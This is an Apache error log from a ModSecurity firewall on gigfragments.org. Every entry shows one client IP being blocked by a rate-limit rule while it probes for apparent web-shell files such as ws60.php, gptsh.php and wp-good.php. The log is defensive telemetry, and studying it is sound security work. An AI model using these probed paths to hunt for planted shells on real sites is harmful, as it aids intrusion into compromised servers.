[Sun Mar 29 02:27:32.371905 2026] [:error] [pid 39428:tid 39472] [client 20.197.233.108:63103] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "acgdlKXMrozFMIaP8nIFKAAAAE0"]
[Sun Mar 29 02:27:32.993187 2026] [:error] [pid 39429:tid 39491] [client 20.197.233.108:63609] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "acgdlE8pSj6sqgZaItnn8QAAAIU"]
[Sun Mar 29 02:27:33.613599 2026] [:error] [pid 39514:tid 39550] [client 20.197.233.108:63157] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "acgdlSkUyvlQod6qQu2nagAAANg"]
[Sun Mar 29 02:27:34.250623 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:63113] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "acgdlikUyvlQod6qQu2nawAAANA"]
[Sun Mar 29 02:27:34.882249 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:64421] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "acgdlikUyvlQod6qQu2nbgAAAMs"]
[Sun Mar 29 02:27:35.521658 2026] [:error] [pid 39514:tid 39528] [client 20.197.233.108:64372] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "acgdlykUyvlQod6qQu2ncgAAAMM"]
[Sun Mar 29 02:27:36.199692 2026] [:error] [pid 39514:tid 39540] [client 20.197.233.108:63554] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "acgdmCkUyvlQod6qQu2ndQAAAM8"]
[Sun Mar 29 02:27:36.838458 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:63654] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "acgdmCkUyvlQod6qQu2nfwAAAMQ"]
[Sun Mar 29 02:27:37.463505 2026] [:error] [pid 39429:tid 39488] [client 20.197.233.108:63045] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "acgdmU8pSj6sqgZaItnn9wAAAII"]
[Sun Mar 29 02:27:38.109486 2026] [:error] [pid 39429:tid 39503] [client 20.197.233.108:63118] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "acgdmk8pSj6sqgZaItnn-gAAAJE"]
[Sun Mar 29 02:27:38.754495 2026] [:error] [pid 39429:tid 39500] [client 20.197.233.108:62340] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "acgdmk8pSj6sqgZaItnn_gAAAI4"]
[Sun Mar 29 02:27:39.379637 2026] [:error] [pid 39429:tid 39502] [client 20.197.233.108:63078] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "acgdm08pSj6sqgZaItnoAQAAAJA"]
[Sun Mar 29 02:27:40.027920 2026] [:error] [pid 39429:tid 39507] [client 20.197.233.108:63073] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "acgdnE8pSj6sqgZaItnoAwAAAJU"]
[Sun Mar 29 02:27:40.668500 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:63163] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "acgdnHVrXSgLxlxLi9A_rwAAAQ0"]
[Sun Mar 29 02:27:41.287567 2026] [:error] [pid 39428:tid 39480] [client 20.197.233.108:64349] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "acgdnaXMrozFMIaP8nIFOQAAAFU"]
[Sun Mar 29 02:27:41.928918 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:63065] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "acgdnSkUyvlQod6qQu2nggAAANM"]
[Sun Mar 29 02:27:42.584033 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:63044] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "acgdnnVrXSgLxlxLi9A_tQAAARE"]
[Sun Mar 29 02:27:43.233593 2026] [:error] [pid 39514:tid 39524] [client 20.197.233.108:63110] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "acgdnykUyvlQod6qQu2niQAAAMA"]
[Sun Mar 29 02:27:43.873333 2026] [:error] [pid 39427:tid 39447] [client 20.197.233.108:63137] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "acgdn1vLf0RDUqcYq-ZR6QAAAA8"]
[Sun Mar 29 02:27:44.512602 2026] [:error] [pid 39429:tid 39503] [client 20.197.233.108:63129] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "acgdoE8pSj6sqgZaItnoBwAAAJE"]
[Sun Mar 29 02:27:45.129689 2026] [:error] [pid 39514:tid 39535] [client 20.197.233.108:63134] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "acgdoSkUyvlQod6qQu2njwAAAMo"]
[Sun Mar 29 02:27:45.793921 2026] [:error] [pid 39429:tid 39500] [client 20.197.233.108:63607] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "acgdoU8pSj6sqgZaItnoCgAAAI4"]
[Sun Mar 29 02:27:46.419564 2026] [:error] [pid 39514:tid 39545] [client 20.197.233.108:63556] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "acgdoikUyvlQod6qQu2nlgAAANQ"]
[Sun Mar 29 02:27:47.095958 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:63641] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "acgdo3VrXSgLxlxLi9A_uQAAAQc"]
[Sun Mar 29 02:27:47.731191 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:62354] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "acgdo3VrXSgLxlxLi9A_vgAAAQs"]
[Sun Mar 29 02:28:06.138324 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:64410] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acgdtnVrXSgLxlxLi9BABAAAAQM"]
[Sun Mar 29 02:28:06.755171 2026] [:error] [pid 39429:tid 39502] [client 20.197.233.108:64413] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acgdtk8pSj6sqgZaItnoGwAAAJA"]
[Sun Mar 29 02:28:07.425824 2026] [:error] [pid 39428:tid 39466] [client 20.197.233.108:63079] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acgdt6XMrozFMIaP8nIFVQAAAEc"]
[Sun Mar 29 02:28:08.083592 2026] [:error] [pid 39428:tid 39474] [client 20.197.233.108:63604] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acgduKXMrozFMIaP8nIFVwAAAE8"]
[Sun Mar 29 02:28:08.712358 2026] [:error] [pid 39428:tid 39459] [client 20.197.233.108:63659] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acgduKXMrozFMIaP8nIFWQAAAEA"]
[Sun Mar 29 02:28:09.415222 2026] [:error] [pid 39514:tid 39524] [client 20.197.233.108:63061] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acgduSkUyvlQod6qQu2npgAAAMA"]
[Sun Mar 29 02:28:10.058680 2026] [:error] [pid 39427:tid 39456] [client 20.197.233.108:63054] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acgdulvLf0RDUqcYq-ZSCAAAABg"]
[Sun Mar 29 02:28:10.773481 2026] [:error] [pid 39514:tid 39528] [client 20.197.233.108:64408] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acgduikUyvlQod6qQu2nqwAAAMM"]
[Sun Mar 29 02:28:11.394295 2026] [:error] [pid 39427:tid 39453] [client 20.197.233.108:63600] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acgdu1vLf0RDUqcYq-ZSCwAAABU"]
[Sun Mar 29 02:28:12.018904 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:63569] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acgdvCkUyvlQod6qQu2nuAAAANA"]
[Sun Mar 29 02:28:12.645236 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:63082] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acgdvHVrXSgLxlxLi9BADgAAARI"]
[Sun Mar 29 02:28:13.318263 2026] [:error] [pid 39427:tid 39446] [client 20.197.233.108:63120] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acgdvVvLf0RDUqcYq-ZSDwAAAA4"]
[Sun Mar 29 02:28:13.948091 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:63066] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "acgdvXVrXSgLxlxLi9BAEwAAARM"]
[Sun Mar 29 02:28:14.608869 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:63053] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "acgdvnVrXSgLxlxLi9BAGQAAAQ0"]
[Sun Mar 29 02:28:15.278626 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:63159] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "acgdv3VrXSgLxlxLi9BAHgAAAQI"]
[Sun Mar 29 02:28:16.019474 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:64378] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "acgdwHVrXSgLxlxLi9BAIAAAAQA"]
[Sun Mar 29 02:28:16.805375 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:64331] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acgdwE8pSj6sqgZaItnoJQAAAJI"]
[Sun Mar 29 02:28:17.556876 2026] [:error] [pid 39428:tid 39467] [client 20.197.233.108:63161] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acgdwaXMrozFMIaP8nIFYQAAAEg"]
[Sun Mar 29 02:28:18.219080 2026] [:error] [pid 39428:tid 39474] [client 20.197.233.108:64373] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acgdwqXMrozFMIaP8nIFZwAAAE8"]
[Sun Mar 29 02:28:18.977952 2026] [:error] [pid 60346:tid 60359] [client 20.197.233.108:63130] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acgdwnVrXSgLxlxLi9BAKAAAAQg"]
[Sun Mar 29 02:28:19.667667 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:62364] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws73.php"] [unique_id "acgdw3VrXSgLxlxLi9BAMAAAARM"]
[Sun Mar 29 02:28:20.304467 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:64411] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws73.php"] [unique_id "acgdxHVrXSgLxlxLi9BANAAAAQk"]
[Sun Mar 29 02:28:20.923017 2026] [:error] [pid 39427:tid 39439] [client 20.197.233.108:63608] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws73.php"] [unique_id "acgdxFvLf0RDUqcYq-ZSHwAAAAc"]
[Sun Mar 29 02:28:21.598095 2026] [:error] [pid 39428:tid 39479] [client 20.197.233.108:63143] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws73.php"] [unique_id "acgdxaXMrozFMIaP8nIFawAAAFQ"]
[Sun Mar 29 02:28:22.372773 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:63093] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "acgdxnVrXSgLxlxLi9BAPgAAARU"]
[Sun Mar 29 02:28:23.058816 2026] [:error] [pid 39427:tid 39438] [client 20.197.233.108:62310] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "acgdx1vLf0RDUqcYq-ZSJwAAAAY"]
[Sun Mar 29 02:28:23.767291 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:63102] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "acgdx3VrXSgLxlxLi9BAQgAAAQw"]
[Sun Mar 29 02:28:24.399400 2026] [:error] [pid 39428:tid 39477] [client 20.197.233.108:63132] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "acgdyKXMrozFMIaP8nIFbAAAAFI"]
[Sun Mar 29 02:28:25.073204 2026] [:error] [pid 60346:tid 60359] [client 20.197.233.108:62291] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lowpr.php"] [unique_id "acgdyXVrXSgLxlxLi9BARgAAAQg"]
[Sun Mar 29 02:28:25.718490 2026] [:error] [pid 39427:tid 39434] [client 20.197.233.108:62359] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lowpr.php"] [unique_id "acgdyVvLf0RDUqcYq-ZSNQAAAAI"]
[Sun Mar 29 02:28:26.396335 2026] [:error] [pid 39428:tid 39469] [client 20.197.233.108:64322] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lowpr.php"] [unique_id "acgdyqXMrozFMIaP8nIFbwAAAEo"]
[Sun Mar 29 02:28:27.048829 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:62374] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lowpr.php"] [unique_id "acgdy1vLf0RDUqcYq-ZSOAAAAAM"]
